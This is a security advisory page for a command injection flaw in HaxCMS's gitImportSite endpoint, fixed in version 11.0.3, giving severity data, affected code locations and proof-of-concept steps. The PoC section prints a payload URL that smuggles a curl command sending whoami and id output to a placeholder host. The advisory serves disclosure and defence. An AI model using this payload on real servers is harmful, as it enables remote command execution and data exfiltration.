GHSA-g4cf-pp4x-hqgw

Suggest an improvement
Source
https://github.com/advisories/GHSA-g4cf-pp4x-hqgw
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/06/GHSA-g4cf-pp4x-hqgw/GHSA-g4cf-pp4x-hqgw.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-g4cf-pp4x-hqgw
Aliases
Related
Published
2025-06-09T20:30:34Z
Modified
2025-06-09T21:44:11Z
Severity
  • 8.5 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H CVSS Calculator
Summary
HaxCMS-PHP Command Injection Vulnerability
Details

Summary

The 'gitImportSite' functionality obtains a URL string from a POST request and insufficiently validates user input. The ’setremote’ function later passes this input into ’procopen’, yielding OS command injection.

Details

The vulnerability exists in the logic of the ’gitImportSite’ function, located in ’Operations.php’. The current implementation only relies on the ’filter_var’ and 'strpos' functions to validate the URL, which is not sufficient to ensure absence of all Bash special characters used for command injection. gitImportSite

Affected Resources

• Operations.php:2103 gitImportSite() • \<domain\>/\<user\>/system/api/gitImportSite

PoC

To replicate this vulnerability, authenticate and send a POST request to the 'gitImportSite' endpoint with a crafted URL in the JSON data. Note, a valid token needs to be obtained by capturing a request to another API endpoint (such as 'archiveSite').

  1. Start a webserver. webserver

  2. Initiate a request to the ’archiveSite’ endpoint. archiveSite

  3. Capture and modify the request in BurpSuite. request-modification

  4. Observe command output in the HTTP request from the server. command-output

Command Injection Payload

http://<IP>/.git;curl${IFS}<IP>/$(whoami)/$(id)#=abcdef

Impact

An authenticated attacker can craft a URL string that bypasses the validation checks employed by the ’filter_var’ and ’strpos’ functions in order to execute arbitrary OS commands on the backend server. The attacker can exfiltrate command output via an HTTP request.

Database specific
{
    "nvd_published_at": "2025-06-09T21:15:47Z",
    "cwe_ids": [
        "CWE-78"
    ],
    "severity": "HIGH",
    "github_reviewed": true,
    "github_reviewed_at": "2025-06-09T20:30:34Z"
}
References

Affected packages

npm / @haxtheweb/haxcms-nodejs

Package

Name
@haxtheweb/haxcms-nodejs
View open source insights on deps.dev
Purl
pkg:npm/%40haxtheweb/haxcms-nodejs

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
11.0.3